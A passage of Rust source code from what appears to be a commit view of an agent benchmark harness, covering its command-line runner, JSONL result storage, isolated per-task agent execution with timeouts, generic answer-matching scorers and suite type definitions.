sample: Option<usize>,
/// Only run these task IDs (comma-separated).
#[arg(long, value_delimiter = ',')]
task_ids: Option<Vec<String>>,
/// Only run tasks with these tags (comma-separated).
#[arg(long, value_delimiter = ',')]
tags: Option<Vec<String>>,
/// Per-task timeout in seconds.
#[arg(long)]
timeout_secs: Option<u64>,
/// Override results directory.
#[arg(long)]
results_dir: Option<PathBuf>,
/// Resume a previous run by ID.
#[arg(long)]
resume: Option<Uuid>,
},
/// Show results for a run.
Results {
/// Run ID or "latest".
#[arg(default_value = "latest")]
run_id: String,
/// Output format.
#[arg(long, default_value = "table")]
format: ResultsFormat,
/// Override results directory.
#[arg(long)]
results_dir: Option<PathBuf>,
},
/// Compare two runs.
Compare {
/// Baseline run ID.
baseline: Uuid,
/// Comparison run ID.
comparison: Uuid,
/// Override results directory.
#[arg(long)]
results_dir: Option<PathBuf>,
},
/// List available benchmark suites.
List,
}
#[derive(Clone, Debug, clap::ValueEnum)]
enum ResultsFormat {
Table,
Json,
Csv,
}
#[tokio::main]
async fn main() -> anyhow::Result<()> {
let cli = Cli::parse();
tracing_subscriber::registry()
.with(
EnvFilter::try_from_default_env()
.unwrap_or_else(|_| EnvFilter::new("ironclaw_bench=info,ironclaw=warn")),
)
.with(tracing_subscriber::fmt::layer().with_target(false))
.init();
match cli.command {
Commands::List => {
println!("Available benchmark suites:\n");
for (id, desc) in adapters::KNOWN_SUITES {
println!(" {:<15} {}", id, desc);
}
println!();
}
Commands::Run {
suite,
config: config_path,
model,
parallelism,
sample,
task_ids,
tags,
timeout_secs,
results_dir,
resume,
} => {
// Load or create config
let mut bench_config = if let Some(ref path) = config_path {
BenchConfig::from_file(path)?
} else {
BenchConfig::minimal(model.clone())
};
// Apply CLI overrides
if let Some(p) = parallelism {
bench_config.parallelism = p;
}
if let Some(t) = timeout_secs {
bench_config.task_timeout = std::time::Duration::from_secs(t);
}
if let Some(ref dir) = results_dir {
bench_config.results_dir = dir.clone();
}
// If model override specified and we have matrix entries, update them
if let Some(ref m) = model {
for entry in &mut bench_config.matrix {
entry.model = Some(m.clone());
}
}
// Create suite
let bench_suite = adapters::create_suite(&suite, &bench_config)?;
// Initialize ironclaw LLM provider
let ironclaw_config = ironclaw::Config::from_env().map_err(|e| {
anyhow::anyhow!(
"Failed to load ironclaw config: {}. Make sure .env is configured.",
e
)
})?;
let session = ironclaw::llm::create_session_manager(ironclaw::llm::SessionConfig {
auth_base_url: ironclaw_config.llm.nearai.auth_base_url.clone(),
session_path: ironclaw_config.llm.nearai.session_path.clone(),
..Default::default()
})
.await;
session.ensure_authenticated().await?;
let llm = ironclaw::llm::create_llm_provider(&ironclaw_config.llm, session)?;
let safety = Arc::new(ironclaw::safety::SafetyLayer::new(&ironclaw_config.safety));
let runner = runner::BenchRunner::new(bench_suite, bench_config.clone(), llm, safety);
// Run for each matrix entry
for matrix_entry in &bench_config.matrix {
let run_id = runner
.run(
matrix_entry,
sample,
task_ids.as_deref(),
tags.as_deref(),
resume,
)
.await?;
println!("Run complete: {}", run_id);
}
}
Commands::Results {
run_id,
format,
results_dir,
} => {
let base = results_dir.unwrap_or_else(|| PathBuf::from("./bench-results"));
let uuid = if run_id == "latest" {
results::find_latest_run(&base)?
.ok_or_else(|| anyhow::anyhow!("No runs found in {}", base.display()))?
} else {
Uuid::parse_str(&run_id)?
};
let json_path = results::run_json_path(&base, uuid);
let jsonl_path = results::tasks_jsonl_path(&base, uuid);
let run = results::read_run_result(&json_path)?;
let tasks = results::read_task_results(&jsonl_path)?;
match format {
ResultsFormat::Table => {
results::print_results_table(&tasks, &run);
}
ResultsFormat::Json => {
let output = serde_json::json!({
"run": run,
"tasks": tasks,
});
println!("{}", serde_json::to_string_pretty(&output)?);
}
ResultsFormat::Csv => {
println!("task_id,score,label,tokens,cost,turns,time_s");
for task in &tasks {
println!(
"{},{:.3},{},{},{:.4},{},{:.1}",
task.task_id,
task.score.value,
task.score.label,
task.trace.input_tokens + task.trace.output_tokens,
task.trace.estimated_cost_usd,
task.trace.turns,
task.trace.wall_time_ms as f64 / 1000.0,
);
}
}
}
}
Commands::Compare {
baseline,
comparison,
results_dir,
} => {
let base = results_dir.unwrap_or_else(|| PathBuf::from("./bench-results"));
let baseline_run = results::read_run_result(&results::run_json_path(&base, baseline))?;
let comparison_run =
results::read_run_result(&results::run_json_path(&base, comparison))?;
println!("\nComparison: {} vs {}\n", baseline, comparison);
println!(
"{:<20} {:>12} {:>12} {:>10}",
"Metric", "Baseline", "Comparison", "Delta"
);
println!("{}", "-".repeat(58));
let pass_delta = comparison_run.pass_rate - baseline_run.pass_rate;
println!(
"{:<20} {:>11.1}% {:>11.1}% {:>+9.1}%",
"Pass rate",
baseline_run.pass_rate * 100.0,
comparison_run.pass_rate * 100.0,
pass_delta * 100.0,
);
let score_delta = comparison_run.avg_score - baseline_run.avg_score;
println!(
"{:<20} {:>12.3} {:>12.3} {:>+10.3}",
"Avg score", baseline_run.avg_score, comparison_run.avg_score, score_delta,
);
let cost_delta = comparison_run.total_cost_usd - baseline_run.total_cost_usd;
println!(
"{:<20} {:>11.4}$ {:>11.4}$ {:>+9.4}$",
"Total cost",
baseline_run.total_cost_usd,
comparison_run.total_cost_usd,
cost_delta,
);
let time_b = baseline_run.total_wall_time_ms as f64 / 1000.0;
let time_c = comparison_run.total_wall_time_ms as f64 / 1000.0;
println!(
"{:<20} {:>11.1}s {:>11.1}s {:>+9.1}s",
"Total time",
time_b,
time_c,
time_c - time_b,
);
println!(
"{:<20} {:>12} {:>12}",
"Model", baseline_run.model, comparison_run.model,
);
println!();
}
}
Ok(())
}
+392
View File
@@ -0,0 +1,392 @@
use std::collections::HashSet;
use std::io::{BufRead, Write};
use std::path::{Path, PathBuf};
use std::time::Duration;
use chrono::{DateTime, Utc};
use uuid::Uuid;
use crate::error::BenchError;
use crate::suite::BenchScore;
/// Metrics from a single task run: LLM usage, timing, tool calls.
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
pub struct Trace {
pub wall_time_ms: u64,
pub llm_calls: u32,
pub input_tokens: u32,
pub output_tokens: u32,
pub estimated_cost_usd: f64,
pub tool_calls: Vec<TraceToolCall>,
pub turns: u32,
pub hit_iteration_limit: bool,
pub hit_timeout: bool,
}
impl Trace {
pub fn wall_time(&self) -> Duration {
Duration::from_millis(self.wall_time_ms)
}
}
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
pub struct TraceToolCall {
pub name: String,
pub duration_ms: u64,
pub success: bool,
}
/// Result of running a single benchmark task.
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
pub struct TaskResult {
pub task_id: String,
pub suite_id: String,
pub score: BenchScore,
pub trace: Trace,
pub response: String,
pub started_at: DateTime<Utc>,
pub finished_at: DateTime<Utc>,
pub config_label: String,
#[serde(default)]
pub error: Option<String>,
}
/// Aggregate results for a full benchmark run.
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
pub struct RunResult {
pub run_id: Uuid,
pub suite_id: String,
pub config_label: String,
pub model: String,
pub pass_rate: f64,
pub avg_score: f64,
pub total_tasks: usize,
pub completed_tasks: usize,
pub total_cost_usd: f64,
pub total_wall_time_ms: u64,
pub started_at: DateTime<Utc>,
pub finished_at: DateTime<Utc>,
}
impl RunResult {
/// Build aggregate from individual task results.
pub fn from_tasks(
run_id: Uuid,
suite_id: &str,
config_label: &str,
model: &str,
total_tasks: usize,
tasks: &[TaskResult],
started_at: DateTime<Utc>,
) -> Self {
let pass_count = tasks.iter().filter(|t| t.score.value >= 1.0).count();
let pass_rate = if tasks.is_empty() {
0.0
} else {
pass_count as f64 / tasks.len() as f64
};
let avg_score = if tasks.is_empty() {
0.0
} else {
tasks.iter().map(|t| t.score.value).sum::<f64>() / tasks.len() as f64
};
let total_cost: f64 = tasks.iter().map(|t| t.trace.estimated_cost_usd).sum();
let total_wall: u64 = tasks.iter().map(|t| t.trace.wall_time_ms).sum();
Self {
run_id,
suite_id: suite_id.to_string(),
config_label: config_label.to_string(),
model: model.to_string(),
pass_rate,
avg_score,
total_tasks,
completed_tasks: tasks.len(),
total_cost_usd: total_cost,
total_wall_time_ms: total_wall,
started_at,
finished_at: Utc::now(),
}
}
pub fn total_wall_time(&self) -> Duration {
Duration::from_millis(self.total_wall_time_ms)
}
}
/// Append a single task result as one JSON line to the JSONL file.
pub fn append_task_result(path: &Path, result: &TaskResult) -> Result<(), BenchError> {
let mut file = std::fs::OpenOptions::new()
.create(true)
.append(true)
.open(path)?;
let line = serde_json::to_string(result)?;
writeln!(file, "{line}")?;
Ok(())
}
/// Read all task results from a JSONL file.
pub fn read_task_results(path: &Path) -> Result<Vec<TaskResult>, BenchError> {
if !path.exists() {
return Ok(Vec::new());
}
let file = std::fs::File::open(path)?;
let reader = std::io::BufReader::new(file);
let mut results = Vec::new();
for line in reader.lines() {
let line = line?;
let trimmed = line.trim();
if trimmed.is_empty() {
continue;
}
let result: TaskResult = serde_json::from_str(trimmed)?;
results.push(result);
}
Ok(results)
}
/// Write the aggregate run result as JSON.
pub fn write_run_result(path: &Path, result: &RunResult) -> Result<(), BenchError> {
let json = serde_json::to_string_pretty(result)?;
std::fs::write(path, json)?;
Ok(())
}
/// Read the aggregate run result from JSON.
pub fn read_run_result(path: &Path) -> Result<RunResult, BenchError> {
let json = std::fs::read_to_string(path)?;
let result: RunResult = serde_json::from_str(&json)?;
Ok(result)
}
/// Get the set of already-completed task IDs from a JSONL file (for resume).
pub fn completed_task_ids(path: &Path) -> Result<HashSet<String>, BenchError> {
let results = read_task_results(path)?;
Ok(results.into_iter().map(|r| r.task_id).collect())
}
/// Get the results directory for a specific run.
pub fn run_dir(base: &Path, run_id: Uuid) -> PathBuf {
base.join(run_id.to_string())
}
/// Get the tasks JSONL path for a run.
pub fn tasks_jsonl_path(base: &Path, run_id: Uuid) -> PathBuf {
run_dir(base, run_id).join("tasks.jsonl")
}
/// Get the run JSON path for a run.
pub fn run_json_path(base: &Path, run_id: Uuid) -> PathBuf {
run_dir(base, run_id).join("run.json")
}
/// Find the latest run directory (by modification time).
pub fn find_latest_run(base: &Path) -> Result<Option<Uuid>, BenchError> {
if !base.exists() {
return Ok(None);
}
let mut entries: Vec<_> = std::fs::read_dir(base)?
.filter_map(|e| e.ok())
.filter(|e| e.file_type().map(|ft| ft.is_dir()).unwrap_or(false))
.filter_map(|e| {
let name = e.file_name().to_string_lossy().to_string();
let uuid = Uuid::parse_str(&name).ok()?;
let modified = e.metadata().ok()?.modified().ok()?;
Some((uuid, modified))
})
.collect();
entries.sort_by(|a, b| b.1.cmp(&a.1));
Ok(entries.first().map(|(uuid, _)| *uuid))
}
/// Print a summary table of task results.
pub fn print_results_table(tasks: &[TaskResult], run: &RunResult) {
println!();
println!(
"Run: {} | Suite: {} | Config: {} | Model: {}",
run.run_id, run.suite_id, run.config_label, run.model
);
println!(
"Pass rate: {:.1}% | Avg score: {:.3} | Tasks: {}/{} | Cost: ${:.4} | Time: {:.1}s",
run.pass_rate * 100.0,
run.avg_score,
run.completed_tasks,
run.total_tasks,
run.total_cost_usd,
run.total_wall_time_ms as f64 / 1000.0,
);
println!();
// Header
println!(
"{:<30} {:>6} {:>7} {:>8} {:>10} {:>6} {:>8}",
"Task ID", "Score", "Label", "Tokens", "Cost", "Turns", "Time"
);
println!("{}", "-".repeat(80));
for task in tasks {
let total_tokens = task.trace.input_tokens + task.trace.output_tokens;
let task_id_display = if task.task_id.len() > 28 {
format!("{}...", &task.task_id[..25])
} else {
task.task_id.clone()
};
println!(
"{:<30} {:>6.3} {:>7} {:>8} {:>10.4} {:>6} {:>7.1}s",
task_id_display,
task.score.value,
task.score.label,
total_tokens,
task.trace.estimated_cost_usd,
task.trace.turns,
task.trace.wall_time_ms as f64 / 1000.0,
);
}
println!();
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_run_result_from_tasks() {
let tasks = vec![
TaskResult {
task_id: "t1".to_string(),
suite_id: "custom".to_string(),
score: BenchScore {
value: 1.0,
label: "pass".to_string(),
details: None,
},
trace: Trace {
wall_time_ms: 1000,
llm_calls: 2,
input_tokens: 100,
output_tokens: 50,
estimated_cost_usd: 0.01,
tool_calls: vec![],
turns: 1,
hit_iteration_limit: false,
hit_timeout: false,
},
response: "answer".to_string(),
started_at: Utc::now(),
finished_at: Utc::now(),
config_label: "default".to_string(),
error: None,
},
TaskResult {
task_id: "t2".to_string(),
suite_id: "custom".to_string(),
score: BenchScore {
value: 0.0,
label: "fail".to_string(),
details: Some("wrong".to_string()),
},
trace: Trace {
wall_time_ms: 2000,
llm_calls: 3,
input_tokens: 200,
output_tokens: 100,
estimated_cost_usd: 0.02,
tool_calls: vec![],
turns: 2,
hit_iteration_limit: false,
hit_timeout: false,
},
response: "wrong answer".to_string(),
started_at: Utc::now(),
finished_at: Utc::now(),
config_label: "default".to_string(),
error: None,
},
];
let run = RunResult::from_tasks(
Uuid::new_v4(),
"custom",
"default",
"test-model",
2,
&tasks,
Utc::now(),
);
assert_eq!(run.pass_rate, 0.5);
assert_eq!(run.avg_score, 0.5);
assert_eq!(run.total_tasks, 2);
assert_eq!(run.completed_tasks, 2);
assert!((run.total_cost_usd - 0.03).abs() < f64::EPSILON);
assert_eq!(run.total_wall_time_ms, 3000);
}
#[test]
fn test_jsonl_roundtrip() {
let dir = tempfile::tempdir().expect("temp dir");
let path = dir.path().join("tasks.jsonl");
let result = TaskResult {
task_id: "round-trip-test".to_string(),
suite_id: "custom".to_string(),
score: BenchScore::pass(),
trace: Trace {
wall_time_ms: 500,
llm_calls: 1,
input_tokens: 10,
output_tokens: 5,
estimated_cost_usd: 0.001,
tool_calls: vec![],
turns: 1,
hit_iteration_limit: false,
hit_timeout: false,
},
response: "hello".to_string(),
started_at: Utc::now(),
finished_at: Utc::now(),
config_label: "test".to_string(),
error: None,
};
append_task_result(&path, &result).expect("append");
append_task_result(&path, &result).expect("append");
let loaded = read_task_results(&path).expect("read");
assert_eq!(loaded.len(), 2);
assert_eq!(loaded[0].task_id, "round-trip-test");
}
#[test]
fn test_completed_task_ids() {
let dir = tempfile::tempdir().expect("temp dir");
let path = dir.path().join("tasks.jsonl");
let result = TaskResult {
task_id: "unique-id-1".to_string(),
suite_id: "custom".to_string(),
score: BenchScore::pass(),
trace: Trace {
wall_time_ms: 100,
llm_calls: 1,
input_tokens: 10,
output_tokens: 5,
estimated_cost_usd: 0.0,
tool_calls: vec![],
turns: 1,
hit_iteration_limit: false,
hit_timeout: false,
},
response: "x".to_string(),
started_at: Utc::now(),
finished_at: Utc::now(),
config_label: "test".to_string(),
error: None,
};
append_task_result(&path, &result).expect("append");
let ids = completed_task_ids(&path).expect("ids");
assert!(ids.contains("unique-id-1"));
assert!(!ids.contains("unique-id-2"));
}
}
+460
View File
@@ -0,0 +1,460 @@
use std::collections::HashSet;
use std::sync::Arc;
use std::time::Instant;
use chrono::Utc;
use tokio::sync::Mutex;
use uuid::Uuid;
use ironclaw::agent::{Agent, AgentDeps};
use ironclaw::channels::{ChannelManager, IncomingMessage};
use ironclaw::config::AgentConfig;
use ironclaw::llm::LlmProvider;
use ironclaw::safety::SafetyLayer;
use ironclaw::tools::ToolRegistry;
use crate::channel::BenchChannel;
use crate::config::{BenchConfig, MatrixEntry};
use crate::error::BenchError;
use crate::instrumented_llm::InstrumentedLlm;
use crate::results::{
RunResult, TaskResult, Trace, append_task_result, completed_task_ids, run_dir, run_json_path,
tasks_jsonl_path, write_run_result,
};
use crate::suite::{BenchSuite, BenchTask, ConversationTurn, TaskSubmission, TurnRole};
/// Parameters for running a single task in isolation.
struct TaskRunParams<'a> {
task: &'a BenchTask,
suite_id: &'a str,
config_label: &'a str,
llm: Arc<dyn LlmProvider>,
safety: Arc<SafetyLayer>,
timeout: std::time::Duration,
additional_tools: &'a [Arc<dyn ironclaw::tools::Tool>],
}
/// Orchestrates benchmark execution: loads tasks, runs agent per task,
/// scores results, writes JSONL output.
pub struct BenchRunner {
suite: Box<dyn BenchSuite>,
config: BenchConfig,
llm: Arc<dyn LlmProvider>,
safety: Arc<SafetyLayer>,
}
impl BenchRunner {
pub fn new(
suite: Box<dyn BenchSuite>,
config: BenchConfig,
llm: Arc<dyn LlmProvider>,
safety: Arc<SafetyLayer>,
) -> Self {
Self {
suite,
config,
llm,
safety,
}
}
/// Run the benchmark for one matrix entry.
///
/// Returns the run_id for result retrieval.
pub async fn run(
&self,
matrix: &MatrixEntry,
sample: Option<usize>,
task_filter: Option<&[String]>,
tag_filter: Option<&[String]>,
resume_run_id: Option<Uuid>,
) -> Result<Uuid, BenchError> {
let run_id = resume_run_id.unwrap_or_else(Uuid::new_v4);
let results_base = &self.config.results_dir;
let dir = run_dir(results_base, run_id);
std::fs::create_dir_all(&dir)?;
let jsonl_path = tasks_jsonl_path(results_base, run_id);
let json_path = run_json_path(results_base, run_id);
// Load completed task IDs for resume support
let completed: HashSet<String> = if resume_run_id.is_some() {
completed_task_ids(&jsonl_path)?
} else {
HashSet::new()
};
if !completed.is_empty() {
tracing::info!(
"Resuming run {}: {} tasks already completed",
run_id,
completed.len()
);
}
// Load and filter tasks
let mut tasks = self.suite.load_tasks().await?;
if let Some(ids) = task_filter {
let id_set: HashSet<&str> = ids.iter().map(|s| s.as_str()).collect();
tasks.retain(|t| id_set.contains(t.id.as_str()));
}
if let Some(tags) = tag_filter {
let tag_set: HashSet<&str> = tags.iter().map(|s| s.as_str()).collect();
tasks.retain(|t| t.tags.iter().any(|tag| tag_set.contains(tag.as_str())));
}
// Filter out already-completed tasks
tasks.retain(|t| !completed.contains(&t.id));
// Sample if requested
if let Some(n) = sample {
tasks.truncate(n);
}
let total_tasks = tasks.len() + completed.len();
tracing::info!(
"Running {} tasks for suite '{}' (config: {}, run: {})",
tasks.len(),
self.suite.id(),
matrix.label,
run_id
);
let started_at = Utc::now();
let all_results: Arc<Mutex<Vec<TaskResult>>> =
Arc::new(Mutex::new(Vec::with_capacity(tasks.len())));
if self.config.parallelism <= 1 {
// Sequential execution
let additional_tools = self.suite.additional_tools();
for (i, task) in tasks.iter().enumerate() {
tracing::info!(
"[{}/{}] Running task: {}",
i + 1 + completed.len(),
total_tasks,
task.id
);
let params = TaskRunParams {
task,
suite_id: self.suite.id(),
config_label: &matrix.label,
llm: Arc::clone(&self.llm),
safety: Arc::clone(&self.safety),
timeout: task.timeout.unwrap_or(self.config.task_timeout),
additional_tools: &additional_tools,
};
let result = run_task_isolated(params).await;
append_task_result(&jsonl_path, &result)?;
all_results.lock().await.push(result);
}
} else {
// Parallel execution with bounded concurrency
let semaphore = Arc::new(tokio::sync::Semaphore::new(self.config.parallelism));
let mut handles = Vec::new();
for (i, task) in tasks.into_iter().enumerate() {
let sem = Arc::clone(&semaphore);
let suite_id = self.suite.id().to_string();
let config_label = matrix.label.clone();
let llm = Arc::clone(&self.llm);
let safety = Arc::clone(&self.safety);
let timeout = task.timeout.unwrap_or(self.config.task_timeout);
let results_ref = Arc::clone(&all_results);
let jsonl = jsonl_path.clone();
let completed_count = completed.len();
let total = total_tasks;
let additional_tools = self.suite.additional_tools();
handles.push(tokio::spawn(async move {
let _permit = sem.acquire().await.expect("semaphore closed");
tracing::info!(
"[{}/{}] Running task: {}",
i + 1 + completed_count,
total,
task.id
);
let params = TaskRunParams {
task: &task,
suite_id: &suite_id,
config_label: &config_label,
llm,
safety,
timeout,
additional_tools: &additional_tools,
};
let result = run_task_isolated(params).await;
if let Err(e) = append_task_result(&jsonl, &result) {
tracing::error!("Failed to write result for {}: {}", task.id, e);
}
results_ref.lock().await.push(result);
}));
}
for handle in handles {
if let Err(e) = handle.await {
tracing::error!("Task panicked: {}", e);
}
}
}
// Score all results
let results = all_results.lock().await;
let mut scored: Vec<TaskResult> = Vec::with_capacity(results.len());
for result in results.iter() {
let task_opt = self
.suite
.load_tasks()
.await?
.into_iter()
.find(|t| t.id == result.task_id);
if let Some(task) = task_opt {
let submission = TaskSubmission {
response: result.response.clone(),
conversation: vec![],
tool_calls: result
.trace
.tool_calls
.iter()
.map(|tc| tc.name.clone())
.collect(),
};
match self.suite.score(&task, &submission).await {
Ok(score) => {
let mut scored_result = result.clone();
scored_result.score = score;
scored.push(scored_result);
}
Err(e) => {
tracing::warn!("Scoring failed for {}: {}", result.task_id, e);
scored.push(result.clone());
}
}
} else {
scored.push(result.clone());
}
}
// Combine with any previously completed results for the aggregate
let mut all_for_aggregate = crate::results::read_task_results(&jsonl_path)?;
// De-duplicate (prefer the newer scored versions)
let scored_ids: HashSet<String> = scored.iter().map(|r| r.task_id.clone()).collect();
all_for_aggregate.retain(|r| !scored_ids.contains(&r.task_id));
all_for_aggregate.extend(scored);
let model_name = matrix.model.as_deref().unwrap_or(self.llm.model_name());
let run_result = RunResult::from_tasks(
run_id,
self.suite.id(),
&matrix.label,
model_name,
total_tasks,
&all_for_aggregate,
started_at,
);
write_run_result(&json_path, &run_result)?;
tracing::info!(
"Run {} complete: {:.1}% pass rate, {:.3} avg score, ${:.4} cost",
run_id,
run_result.pass_rate * 100.0,
run_result.avg_score,
run_result.total_cost_usd,
);
Ok(run_id)
}
}
/// Run a single benchmark task in complete isolation.
///
/// Creates a fresh Agent + BenchChannel + InstrumentedLlm for the task,
/// injects the prompt, waits for the response, and returns the result.
async fn run_task_isolated(params: TaskRunParams<'_>) -> TaskResult {
let TaskRunParams {
task,
suite_id,
config_label,
llm,
safety,
timeout,
additional_tools,
} = params;
let started_at = Utc::now();
let start = Instant::now();
// Wrap LLM with instrumentation
let instrumented = Arc::new(InstrumentedLlm::new(llm));
// Create bench channel
let (bench_channel, msg_tx) = BenchChannel::new();
let capture = bench_channel.capture();
// Build tool registry
let tools = Arc::new(ToolRegistry::new());
tools.register_builtin_tools();
// Register additional suite-specific tools
for tool in additional_tools {
tools.register(Arc::clone(tool)).await;
}
// Build agent config (minimal, headless)
let agent_config = AgentConfig {
name: format!("bench-{}", task.id),
max_parallel_jobs: 1,
job_timeout: timeout,
stuck_threshold: timeout,
repair_check_interval: timeout + std::time::Duration::from_secs(999),
max_repair_attempts: 0,
use_planning: false,
session_idle_timeout: timeout,
};
let deps = AgentDeps {
store: None,
llm: instrumented.clone() as Arc<dyn LlmProvider>,
safety,
tools,
workspace: None,
extension_manager: None,
};
let mut channels = ChannelManager::new();
channels.add(Box::new(bench_channel));
let agent = Agent::new(agent_config, deps, channels, None, None, None);
// Build the full prompt with context
let full_prompt = if let Some(ref ctx) = task.context {
format!("{}\n\nContext:\n{}", task.prompt, ctx)
} else {
task.prompt.clone()
};
// Inject the task prompt
let incoming = IncomingMessage::new("bench", "bench-user", &full_prompt);
if msg_tx.send(incoming).await.is_err() {
return make_error_result(
task,
suite_id,
config_label,
started_at,
"failed to send prompt",
);
}
// Record prompt in conversation
{
let mut cap = capture.lock().await;
cap.conversation.push(ConversationTurn {
role: TurnRole::User,
content: full_prompt,
});
}
// Run agent with timeout.
// After the first response, send /quit to end the session.
let quit_tx = msg_tx.clone();
let capture_for_quit = Arc::clone(&capture);
let quit_handle = tokio::spawn(async move {
// Poll for first response
loop {
tokio::time::sleep(std::time::Duration::from_millis(100)).await;
let cap = capture_for_quit.lock().await;
if !cap.responses.is_empty() {
break;
}
}
// Give a small grace period for any final status events
tokio::time::sleep(std::time::Duration::from_millis(200)).await;
let quit = IncomingMessage::new("bench", "bench-user", "/quit");
let _ = quit_tx.send(quit).await;
});
let agent_result = tokio::time::timeout(timeout, agent.run()).await;
quit_handle.abort();
let wall_time = start.elapsed();
let hit_timeout = agent_result.is_err();
if let Ok(Err(e)) = &agent_result {
tracing::warn!("Agent error for task {}: {}", task.id, e);
}
// Extract results from capture
let cap = capture.lock().await;
let response = cap.responses.last().cloned().unwrap_or_default();
let trace = Trace {
wall_time_ms: wall_time.as_millis() as u64,
llm_calls: instrumented.call_count(),
input_tokens: instrumented.total_input_tokens(),
output_tokens: instrumented.total_output_tokens(),
estimated_cost_usd: instrumented.estimated_cost(),
tool_calls: cap.tool_calls.clone(),
turns: cap.responses.len() as u32,
hit_iteration_limit: false,
hit_timeout,
};
let error = if hit_timeout {
Some(format!("timeout after {}s", timeout.as_secs()))
} else if let Ok(Err(e)) = &agent_result {
Some(e.to_string())
} else {
None
};
TaskResult {
task_id: task.id.clone(),
suite_id: suite_id.to_string(),
score: crate::suite::BenchScore {
value: 0.0,
label: "pending".to_string(),
details: None,
},
trace,
response,
started_at,
finished_at: Utc::now(),
config_label: config_label.to_string(),
error,
}
}
fn make_error_result(
task: &BenchTask,
suite_id: &str,
config_label: &str,
started_at: chrono::DateTime<Utc>,
reason: &str,
) -> TaskResult {
TaskResult {
task_id: task.id.clone(),
suite_id: suite_id.to_string(),
score: crate::suite::BenchScore::fail(reason),
trace: Trace {
wall_time_ms: 0,
llm_calls: 0,
input_tokens: 0,
output_tokens: 0,
estimated_cost_usd: 0.0,
tool_calls: vec![],
turns: 0,
hit_iteration_limit: false,
hit_timeout: false,
},
response: String::new(),
started_at,
finished_at: Utc::now(),
config_label: config_label.to_string(),
error: Some(reason.to_string()),
}
}
+113
View File
@@ -0,0 +1,113 @@
use regex::Regex;
use crate::suite::BenchScore;
/// Normalize an answer string for comparison: lowercase, trim whitespace,
/// strip trailing punctuation, collapse internal whitespace.
pub fn normalize_answer(s: &str) -> String {
let trimmed = s.trim().to_lowercase();
let collapsed: String = trimmed.split_whitespace().collect::<Vec<_>>().join(" ");
collapsed.trim_end_matches(['.', ',', ';', '!']).to_string()
}
/// Exact match after normalization.
pub fn exact_match(expected: &str, actual: &str) -> BenchScore {
let norm_expected = normalize_answer(expected);
let norm_actual = normalize_answer(actual);
if norm_expected == norm_actual {
BenchScore::pass()
} else {
BenchScore::fail(format!(
"expected \"{norm_expected}\", got \"{norm_actual}\""
))
}
}
/// Check if the actual answer contains the expected substring (normalized).
pub fn contains_match(expected_substring: &str, actual: &str) -> BenchScore {
let norm_expected = normalize_answer(expected_substring);
let norm_actual = normalize_answer(actual);
if norm_actual.contains(&norm_expected) {
BenchScore::pass()
} else {
BenchScore::fail(format!("response does not contain \"{norm_expected}\""))
}
}
/// Check if the actual answer matches a regex pattern.
pub fn regex_match(pattern: &str, actual: &str) -> BenchScore {
match Regex::new(pattern) {
Ok(re) => {
if re.is_match(actual) {
BenchScore::pass()
} else {
BenchScore::fail(format!("response does not match pattern /{pattern}/"))
}
}
Err(e) => BenchScore::fail(format!("invalid regex pattern: {e}")),
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_normalize_answer() {
assert_eq!(normalize_answer(" Hello World. "), "hello world");
assert_eq!(normalize_answer("Yes!"), "yes");
assert_eq!(normalize_answer("42"), "42");
assert_eq!(normalize_answer(" "), "");
}
#[test]
fn test_exact_match_pass() {
let score = exact_match("Hello World", " hello world. ");
assert_eq!(score.value, 1.0);
assert_eq!(score.label, "pass");
}
#[test]
fn test_exact_match_fail() {
let score = exact_match("hello", "world");
assert_eq!(score.value, 0.0);
assert_eq!(score.label, "fail");
}
#[test]
fn test_contains_match_pass() {
let score = contains_match("world", "Hello World!");
assert_eq!(score.value, 1.0);
}
#[test]
fn test_contains_match_fail() {
let score = contains_match("xyz", "Hello World!");
assert_eq!(score.value, 0.0);
}
#[test]
fn test_regex_match_pass() {
let score = regex_match(r"\d{4}", "The year is 2024.");
assert_eq!(score.value, 1.0);
}
#[test]
fn test_regex_match_fail() {
let score = regex_match(r"\d{4}", "No numbers here.");
assert_eq!(score.value, 0.0);
}
#[test]
fn test_regex_match_invalid_pattern() {
let score = regex_match(r"[invalid", "anything");
assert_eq!(score.value, 0.0);
assert!(
score
.details
.as_deref()
.unwrap_or("")
.contains("invalid regex")
);
}
}
+156
View File
@@ -0,0 +1,156 @@
use std::sync::Arc;
use std::time::Duration;
use async_trait::async_trait;
use crate::error::BenchError;
/// A single task in a benchmark suite.
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
pub struct BenchTask {
pub id: String,
pub prompt: String,
#[serde(default)]
pub context: Option<String>,
#[serde(default)]
pub resources: Vec<TaskResource>,
#[serde(default)]
pub tags: Vec<String>,
#[serde(default)]
pub expected_turns: Option<usize>,
#[serde(default)]
pub timeout: Option<Duration>,
#[serde(default)]
pub metadata: serde_json::Value,
}
/// A resource attached to a benchmark task (file, URL, etc.).
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
pub struct TaskResource {
pub name: String,
pub path: String,
#[serde(default)]
pub resource_type: ResourceType,
}
#[derive(Debug, Clone, Default, serde::Serialize, serde::Deserialize)]
#[serde(rename_all = "snake_case")]
pub enum ResourceType {
#[default]
File,
Url,
Directory,
}
/// What the agent produced for scoring.
#[derive(Debug, Clone)]
pub struct TaskSubmission {
pub response: String,
pub conversation: Vec<ConversationTurn>,
pub tool_calls: Vec<String>,
}
/// A single turn in a multi-turn conversation.
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
pub struct ConversationTurn {
pub role: TurnRole,
pub content: String,
}
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
#[serde(rename_all = "snake_case")]
pub enum TurnRole {
User,
Assistant,
System,
}
/// Score for a single task.
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
pub struct BenchScore {
/// 0.0 to 1.0 (1.0 = perfect).
pub value: f64,
/// "pass" / "fail" / "partial".
pub label: String,
#[serde(default)]
pub details: Option<String>,
}
impl BenchScore {
pub fn pass() -> Self {
Self {
value: 1.0,
label: "pass".to_string(),
details: None,
}
}
pub fn fail(details: impl Into<String>) -> Self {
Self {
value: 0.0,
label: "fail".to_string(),
details: Some(details.into()),
}
}
pub fn partial(value: f64, details: impl Into<String>) -> Self {
Self {
value: value.clamp(0.0, 1.0),
label: "partial".to_string(),
details: Some(details.into()),
